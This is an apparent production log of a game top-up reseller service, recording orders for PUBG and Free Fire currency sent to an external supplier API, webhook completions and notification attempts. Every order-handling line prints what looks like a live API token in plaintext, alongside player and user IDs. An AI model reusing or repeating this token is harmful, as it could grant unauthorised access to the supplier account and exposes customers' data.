[2026-03-24 16:19:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 16:19:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 16:19:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 16:19:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 16:19:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 16:19:11] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 16:19:11] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18650,"user_id":1706,"amount":440.0,"admins_notified":7} 
[2026-03-24 16:19:31] production.INFO: Constructing job for order: 178890  
[2026-03-24 16:19:32] production.INFO: Handling job for order: 178890  
[2026-03-24 16:19:32] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:19:32] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:19:32] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=b966adb6-462a-4b4b-bbfb-7b1cc92ff622&Player_ID=51767044652  
[2026-03-24 16:19:32] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=b966adb6-462a-4b4b-bbfb-7b1cc92ff622&Player_ID=51767044652","has_body":false} 
[2026-03-24 16:19:33] production.INFO: Operation sent successfully {"operation_id":163800,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-5tDOaP-1774358373","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:19:33"}},"processed_data":{"order_number":"ORD-5tDOaP-1774358373","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 16:19:45] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-5tDOaP-1774358373","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:19:45] production.INFO: Processed webhook data (normalized) {"id":"ORD-5tDOaP-1774358373","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:19:45] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:19:45] production.INFO: SendAcceptReject: Notification queued {"user_id":663,"notification_type":"order_approved","reference_id":178890} 
[2026-03-24 16:19:45] production.INFO: Order updated successfully. Order ID: 178890, Status: completed  
[2026-03-24 16:19:45] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-5tDOaP-1774358373","status":"completed","codes_count":0} 
[2026-03-24 16:20:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"4SayuTjNL5LCprTpWxOKifsyAXRLjVHA","execution_time":"2026-03-24 16:20:04"} 
[2026-03-24 16:20:04] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"4SayuTjNL5LCprTpWxOKifsyAXRLjVHA","execution_time":"2026-03-24 16:20:04"} 
[2026-03-24 16:20:04] production.INFO: Executing GetProducts task...  
[2026-03-24 16:20:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 16:20:04] production.INFO: Executing GetProducts task...  
[2026-03-24 16:20:06] production.INFO: async() رجع: true  
[2026-03-24 16:20:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 16:20:07] production.WARNING: Product with ID 395 not found  
[2026-03-24 16:20:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 16:20:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 16:20:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 16:20:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 16:20:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 16:20:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 16:20:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 16:20:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 16:20:08] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 16:21:16] production.INFO: Constructing job for order: 178891  
[2026-03-24 16:21:17] production.INFO: Handling job for order: 178891  
[2026-03-24 16:21:17] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:21:17] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:21:17] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/825/params?qty=2000&uuid=377d7bda-cd17-4330-9e0c-db6bf34d5927&Player_ID=4631414  
[2026-03-24 16:21:17] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/825/params?qty=2000&uuid=377d7bda-cd17-4330-9e0c-db6bf34d5927&Player_ID=4631414","has_body":false} 
[2026-03-24 16:21:17] production.INFO: Operation sent successfully {"operation_id":163801,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-5SmTTbWC-1774358477","amount":1.475357999999999947249307297170162200927734375,"status":"processing","product":"Sahra Amount","game":"Sahra Caht","notes":[],"created_at":"2026-03-24 16:21:17"}},"processed_data":{"order_number":"ORD-5SmTTbWC-1774358477","amount":1.475357999999999947249307297170162200927734375,"status":"processing","product":"Sahra Amount","game":"Sahra Caht"}} 
[2026-03-24 16:22:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"qrfxMYKpB0gRpZEdgs14lhsUordNMeEJ","execution_time":"2026-03-24 16:22:02"} 
[2026-03-24 16:22:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"qrfxMYKpB0gRpZEdgs14lhsUordNMeEJ","execution_time":"2026-03-24 16:22:02","total_operations":1,"sites_count":1} 
[2026-03-24 16:22:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"qrfxMYKpB0gRpZEdgs14lhsUordNMeEJ","execution_time":"2026-03-24 16:22:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-5SmTTbWC-1774358477"]} 
[2026-03-24 16:22:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"qrfxMYKpB0gRpZEdgs14lhsUordNMeEJ","execution_time":"2026-03-24 16:22:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 16:22:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"qrfxMYKpB0gRpZEdgs14lhsUordNMeEJ","execution_time":"2026-03-24 16:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 16:22:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qrfxMYKpB0gRpZEdgs14lhsUordNMeEJ","execution_time":"2026-03-24 16:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5SmTTbWC-1774358477","operation_id":163801} 
[2026-03-24 16:22:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"qrfxMYKpB0gRpZEdgs14lhsUordNMeEJ","execution_time":"2026-03-24 16:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5SmTTbWC-1774358477","operation_id":163801,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 16:22:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"qrfxMYKpB0gRpZEdgs14lhsUordNMeEJ","execution_time":"2026-03-24 16:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5SmTTbWC-1774358477","operation_id":163801,"processed":0,"errors":0} 
[2026-03-24 16:22:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"qrfxMYKpB0gRpZEdgs14lhsUordNMeEJ","execution_time":"2026-03-24 16:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5SmTTbWC-1774358477","operation_id":163801} 
[2026-03-24 16:22:27] production.INFO: Constructing job for order: 178892  
[2026-03-24 16:22:30] production.INFO: Handling job for order: 178892  
[2026-03-24 16:22:30] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:22:30] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:22:30] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/571/params?qty=10000&uuid=bba048c6-8de5-4528-aec8-43bd4b243f8e&Player_ID=27237727  
[2026-03-24 16:22:30] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/571/params?qty=10000&uuid=bba048c6-8de5-4528-aec8-43bd4b243f8e&Player_ID=27237727","has_body":false} 
[2026-03-24 16:22:30] production.INFO: Operation sent successfully {"operation_id":163802,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-DIeRh-1774358550","amount":2.3968270000000000408135747420601546764373779296875,"status":"processing","product":"Mango Amount","game":"Mango","notes":[],"created_at":"2026-03-24 16:22:30"}},"processed_data":{"order_number":"ORD-DIeRh-1774358550","amount":2.3968270000000000408135747420601546764373779296875,"status":"processing","product":"Mango Amount","game":"Mango"}} 
[2026-03-24 16:23:11] production.INFO: Constructing job for order: 178893  
[2026-03-24 16:23:12] production.INFO: Handling job for order: 178893  
[2026-03-24 16:23:12] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:23:12] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:23:12] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=1fdea97b-b4a0-459d-9458-39281735944d&Player_ID=13140743084  
[2026-03-24 16:23:12] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=1fdea97b-b4a0-459d-9458-39281735944d&Player_ID=13140743084","has_body":false} 
[2026-03-24 16:23:13] production.INFO: Operation sent successfully {"operation_id":163803,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-LFv-1774358593","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 16:23:13"}},"processed_data":{"order_number":"ORD-LFv-1774358593","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 16:23:39] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-DIeRh-1774358550","status":"completed","notes":["-","جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 16:23:39] production.INFO: Processed webhook data (normalized) {"id":"ORD-DIeRh-1774358550","status":"completed","codes":[],"notes":["-","جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 16:23:39] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:23:39] production.INFO: SendAcceptReject: Notification queued {"user_id":194,"notification_type":"order_approved","reference_id":178892} 
[2026-03-24 16:23:39] production.INFO: Order updated successfully. Order ID: 178892, Status: completed  
[2026-03-24 16:23:39] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-DIeRh-1774358550","status":"completed","codes_count":0} 
[2026-03-24 16:23:40] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 194  
[2026-03-24 16:23:49] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-LFv-1774358593","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:23:49] production.INFO: Processed webhook data (normalized) {"id":"ORD-LFv-1774358593","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:23:49] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:23:49] production.INFO: SendAcceptReject: Notification queued {"user_id":1285,"notification_type":"order_approved","reference_id":178893} 
[2026-03-24 16:23:49] production.INFO: Order updated successfully. Order ID: 178893, Status: completed  
[2026-03-24 16:23:49] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-LFv-1774358593","status":"completed","codes_count":0} 
[2026-03-24 16:23:49] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1285  
[2026-03-24 16:24:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"eNxWEHf6KySfZUJpPzfFNzqwDTRMZtQP","execution_time":"2026-03-24 16:24:01"} 
[2026-03-24 16:24:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"eNxWEHf6KySfZUJpPzfFNzqwDTRMZtQP","execution_time":"2026-03-24 16:24:01","total_operations":1,"sites_count":1} 
[2026-03-24 16:24:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"eNxWEHf6KySfZUJpPzfFNzqwDTRMZtQP","execution_time":"2026-03-24 16:24:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-5SmTTbWC-1774358477"]} 
[2026-03-24 16:24:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"eNxWEHf6KySfZUJpPzfFNzqwDTRMZtQP","execution_time":"2026-03-24 16:24:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 16:24:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"eNxWEHf6KySfZUJpPzfFNzqwDTRMZtQP","execution_time":"2026-03-24 16:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 16:24:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"eNxWEHf6KySfZUJpPzfFNzqwDTRMZtQP","execution_time":"2026-03-24 16:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5SmTTbWC-1774358477","operation_id":163801,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 16:24:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"eNxWEHf6KySfZUJpPzfFNzqwDTRMZtQP","execution_time":"2026-03-24 16:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5SmTTbWC-1774358477","operation_id":163801,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 16:24:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"eNxWEHf6KySfZUJpPzfFNzqwDTRMZtQP","execution_time":"2026-03-24 16:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5SmTTbWC-1774358477","operation_id":163801,"count":1} 
[2026-03-24 16:24:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"eNxWEHf6KySfZUJpPzfFNzqwDTRMZtQP","execution_time":"2026-03-24 16:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5SmTTbWC-1774358477","operation_id":163801,"count":1} 
[2026-03-24 16:24:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"eNxWEHf6KySfZUJpPzfFNzqwDTRMZtQP","execution_time":"2026-03-24 16:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5SmTTbWC-1774358477","operation_id":163801,"user_id":59,"notification_type":"order_approved","reference_id":178891} 
[2026-03-24 16:24:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"eNxWEHf6KySfZUJpPzfFNzqwDTRMZtQP","execution_time":"2026-03-24 16:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5SmTTbWC-1774358477","operation_id":163801,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 16:24:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"eNxWEHf6KySfZUJpPzfFNzqwDTRMZtQP","execution_time":"2026-03-24 16:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5SmTTbWC-1774358477","operation_id":163801,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 16:24:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"eNxWEHf6KySfZUJpPzfFNzqwDTRMZtQP","execution_time":"2026-03-24 16:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5SmTTbWC-1774358477","operation_id":163801,"processed":1,"errors":0} 
[2026-03-24 16:24:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"eNxWEHf6KySfZUJpPzfFNzqwDTRMZtQP","execution_time":"2026-03-24 16:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5SmTTbWC-1774358477","operation_id":163801,"processed":1,"errors":0} 
[2026-03-24 16:24:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"eNxWEHf6KySfZUJpPzfFNzqwDTRMZtQP","execution_time":"2026-03-24 16:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5SmTTbWC-1774358477","operation_id":163801} 
[2026-03-24 16:24:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 59  
[2026-03-24 16:24:13] production.INFO: Constructing job for order: 178894  
[2026-03-24 16:24:14] production.INFO: Handling job for order: 178894  
[2026-03-24 16:24:14] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:24:14] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:24:14] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=a72df4ef-23aa-43ac-bc9d-ae68314c0173&Player_ID=13140743084  
[2026-03-24 16:24:14] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=a72df4ef-23aa-43ac-bc9d-ae68314c0173&Player_ID=13140743084","has_body":false} 
[2026-03-24 16:24:14] production.INFO: Operation sent successfully {"operation_id":163804,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-R0lCHK-1774358654","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 16:24:14"}},"processed_data":{"order_number":"ORD-R0lCHK-1774358654","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 16:24:51] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-R0lCHK-1774358654","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:24:51] production.INFO: Processed webhook data (normalized) {"id":"ORD-R0lCHK-1774358654","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:24:51] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:24:51] production.INFO: SendAcceptReject: Notification queued {"user_id":1285,"notification_type":"order_approved","reference_id":178894} 
[2026-03-24 16:24:51] production.INFO: Order updated successfully. Order ID: 178894, Status: completed  
[2026-03-24 16:24:51] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-R0lCHK-1774358654","status":"completed","codes_count":0} 
[2026-03-24 16:24:53] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1285  
[2026-03-24 16:25:02] production.INFO: Executing GetProducts task...  
[2026-03-24 16:25:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 16:25:02] production.INFO: Executing GetProducts task...  
[2026-03-24 16:25:04] production.INFO: Constructing job for order: 178895  
[2026-03-24 16:25:04] production.INFO: Constructing job for order: 178896  
[2026-03-24 16:25:04] production.INFO: async() رجع: true  
[2026-03-24 16:25:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 16:25:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 16:25:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 16:25:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 16:25:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 16:25:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 16:25:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 16:25:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 16:25:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 16:25:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 16:25:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 16:25:06] production.INFO: Handling job for order: 178895  
[2026-03-24 16:25:06] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:25:06] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:25:06] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=7cfc2dc9-b72b-4e48-8c43-768fc25a709e&Player_ID=6115139035  
[2026-03-24 16:25:06] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=7cfc2dc9-b72b-4e48-8c43-768fc25a709e&Player_ID=6115139035","has_body":false} 
[2026-03-24 16:25:06] production.INFO: Operation sent successfully {"operation_id":163805,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-lay-1774358706","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 16:25:06"}},"processed_data":{"order_number":"ORD-lay-1774358706","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 16:25:06] production.INFO: Handling job for order: 178896  
[2026-03-24 16:25:06] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:25:06] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:25:06] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=dc404f1c-a04f-4eb4-9d24-0bbac84c05ea&Player_ID=760444546  
[2026-03-24 16:25:06] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=dc404f1c-a04f-4eb4-9d24-0bbac84c05ea&Player_ID=760444546","has_body":false} 
[2026-03-24 16:25:07] production.INFO: Operation sent successfully {"operation_id":163806,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ladZn7i-1774358707","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 16:25:07"}},"processed_data":{"order_number":"ORD-ladZn7i-1774358707","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 16:25:08] production.INFO: Constructing job for order: 178897  
[2026-03-24 16:25:10] production.INFO: Handling job for order: 178897  
[2026-03-24 16:25:10] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:25:10] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:25:10] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=dc72ab32-57e8-46e2-9eb6-c49804f21a76&Player_ID=52108823626  
[2026-03-24 16:25:10] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=dc72ab32-57e8-46e2-9eb6-c49804f21a76&Player_ID=52108823626","has_body":false} 
[2026-03-24 16:25:11] production.INFO: Operation sent successfully {"operation_id":163807,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-RQlcKN-1774358711","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:25:11"}},"processed_data":{"order_number":"ORD-RQlcKN-1774358711","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 16:25:21] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-RQlcKN-1774358711","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:25:21] production.INFO: Processed webhook data (normalized) {"id":"ORD-RQlcKN-1774358711","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:25:21] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:25:21] production.INFO: SendAcceptReject: Notification queued {"user_id":45,"notification_type":"order_approved","reference_id":178897} 
[2026-03-24 16:25:21] production.INFO: Order updated successfully. Order ID: 178897, Status: completed  
[2026-03-24 16:25:21] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-RQlcKN-1774358711","status":"completed","codes_count":0} 
[2026-03-24 16:25:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 45  
[2026-03-24 16:25:27] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-lay-1774358706","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:25:27] production.INFO: Processed webhook data (normalized) {"id":"ORD-lay-1774358706","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:25:27] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:25:27] production.INFO: SendAcceptReject: Notification queued {"user_id":418,"notification_type":"order_approved","reference_id":178895} 
[2026-03-24 16:25:27] production.INFO: Order updated successfully. Order ID: 178895, Status: completed  
[2026-03-24 16:25:27] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-lay-1774358706","status":"completed","codes_count":0} 
[2026-03-24 16:25:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 418  
[2026-03-24 16:25:34] production.INFO: Constructing job for order: 178899  
[2026-03-24 16:25:35] production.INFO: Handling job for order: 178899  
[2026-03-24 16:25:35] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:25:35] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:25:35] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=1c2b96e0-2d03-45fd-a410-8210513930e5&Player_ID=760444546  
[2026-03-24 16:25:35] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=1c2b96e0-2d03-45fd-a410-8210513930e5&Player_ID=760444546","has_body":false} 
[2026-03-24 16:25:36] production.INFO: Operation sent successfully {"operation_id":163808,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-vaAee9-1774358736","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 16:25:36"}},"processed_data":{"order_number":"ORD-vaAee9-1774358736","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 16:25:40] production.INFO: Constructing job for order: 178900  
[2026-03-24 16:25:40] production.INFO: Constructing job for order: 178901  
[2026-03-24 16:25:42] production.INFO: Handling job for order: 178901  
[2026-03-24 16:25:42] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:25:42] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:25:42] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=19528f6a-3481-45ba-b9df-bb6923c13146&Player_ID=13140743084  
[2026-03-24 16:25:42] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=19528f6a-3481-45ba-b9df-bb6923c13146&Player_ID=13140743084","has_body":false} 
[2026-03-24 16:25:43] production.INFO: Operation sent successfully {"operation_id":163809,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-wiQjO7-1774358743","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 16:25:43"}},"processed_data":{"order_number":"ORD-wiQjO7-1774358743","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 16:25:43] production.INFO: Handling job for order: 178900  
[2026-03-24 16:25:43] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:25:43] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:25:43] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=8dd67ef2-c8ec-44b4-a553-042163c1004c&Player_ID=5284829476  
[2026-03-24 16:25:43] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=8dd67ef2-c8ec-44b4-a553-042163c1004c&Player_ID=5284829476","has_body":false} 
